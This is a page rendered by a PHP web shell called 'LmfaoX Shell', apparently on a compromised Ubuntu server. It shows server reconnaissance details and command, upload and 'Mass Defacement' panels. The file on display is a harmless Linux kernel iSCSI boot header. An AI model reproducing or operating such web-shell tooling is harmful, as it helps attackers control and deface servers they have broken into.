ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:22.61 GB of 70.42 GB (32.1%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ linux-headers-3.0.0-14/ include/ linux/ - drwxr-xr-x

Directory:
Viewing file:     iscsi_boot_sysfs.h (3.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * Export the iSCSI boot info to userland via sysfs.
 *
 * Copyright (C) 2010 Red Hat, Inc.  All rights reserved.
 * Copyright (C) 2010 Mike Christie
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License v2.0 as published by
 * the Free Software Foundation
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 */
#ifndef _ISCSI_BOOT_SYSFS_
#define _ISCSI_BOOT_SYSFS_

/*
 * The text attributes names for each of the kobjects.
*/
enum iscsi_boot_eth_properties_enum {
    ISCSI_BOOT_ETH_INDEX,
    ISCSI_BOOT_ETH_FLAGS,
    ISCSI_BOOT_ETH_IP_ADDR,
    ISCSI_BOOT_ETH_SUBNET_MASK,
    ISCSI_BOOT_ETH_ORIGIN,
    ISCSI_BOOT_ETH_GATEWAY,
    ISCSI_BOOT_ETH_PRIMARY_DNS,
    ISCSI_BOOT_ETH_SECONDARY_DNS,
    ISCSI_BOOT_ETH_DHCP,
    ISCSI_BOOT_ETH_VLAN,
    ISCSI_BOOT_ETH_MAC,
    /* eth_pci_bdf - this is replaced by link to the device itself. */
    ISCSI_BOOT_ETH_HOSTNAME,
    ISCSI_BOOT_ETH_END_MARKER,
};

enum iscsi_boot_tgt_properties_enum {
    ISCSI_BOOT_TGT_INDEX,
    ISCSI_BOOT_TGT_FLAGS,
    ISCSI_BOOT_TGT_IP_ADDR,
    ISCSI_BOOT_TGT_PORT,
    ISCSI_BOOT_TGT_LUN,
    ISCSI_BOOT_TGT_CHAP_TYPE,
    ISCSI_BOOT_TGT_NIC_ASSOC,
    ISCSI_BOOT_TGT_NAME,
    ISCSI_BOOT_TGT_CHAP_NAME,
    ISCSI_BOOT_TGT_CHAP_SECRET,
    ISCSI_BOOT_TGT_REV_CHAP_NAME,
    ISCSI_BOOT_TGT_REV_CHAP_SECRET,
    ISCSI_BOOT_TGT_END_MARKER,
};

enum iscsi_boot_initiator_properties_enum {
    ISCSI_BOOT_INI_INDEX,
    ISCSI_BOOT_INI_FLAGS,
    ISCSI_BOOT_INI_ISNS_SERVER,
    ISCSI_BOOT_INI_SLP_SERVER,
    ISCSI_BOOT_INI_PRI_RADIUS_SERVER,
    ISCSI_BOOT_INI_SEC_RADIUS_SERVER,
    ISCSI_BOOT_INI_INITIATOR_NAME,
    ISCSI_BOOT_INI_END_MARKER,
};

struct attribute_group;

struct iscsi_boot_kobj {
    struct kobject kobj;
    struct attribute_group *attr_group;
    struct list_head list;

    /*
     * Pointer to store driver specific info. If set this will
     * be freed for the LLD when the kobj release function is called.
     */
    void *data;
    /*
     * Driver specific show function.
     *
     * The enum of the type. This can be any value of the above
     * properties.
     */
    ssize_t (*show) (void *data, int type, char *buf);

    /*
     * Drivers specific visibility function.
     * The function should return if they the attr should be readable
     * writable or should not be shown.
     *
     * The enum of the type. This can be any value of the above
     * properties.
     */
    mode_t (*is_visible) (void *data, int type);
};

struct iscsi_boot_kset {
    struct list_head kobj_list;
    struct kset *kset;
};

struct iscsi_boot_kobj *
iscsi_boot_create_initiator(struct iscsi_boot_kset *boot_kset, int index,
                void *data,
                ssize_t (*show) (void *data, int type, char *buf),
                mode_t (*is_visible) (void *data, int type));

struct iscsi_boot_kobj *
iscsi_boot_create_ethernet(struct iscsi_boot_kset *boot_kset, int index,
               void *data,
               ssize_t (*show) (void *data, int type, char *buf),
               mode_t (*is_visible) (void *data, int type));
struct iscsi_boot_kobj *
iscsi_boot_create_target(struct iscsi_boot_kset *boot_kset, int index,
             void *data,
             ssize_t (*show) (void *data, int type, char *buf),
             mode_t (*is_visible) (void *data, int type));

struct iscsi_boot_kset *iscsi_boot_create_kset(const char *set_name);
struct iscsi_boot_kset *iscsi_boot_create_host_kset(unsigned int hostno);
void iscsi_boot_destroy_kset(struct iscsi_boot_kset *boot_kset);

#endif
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.163 seconds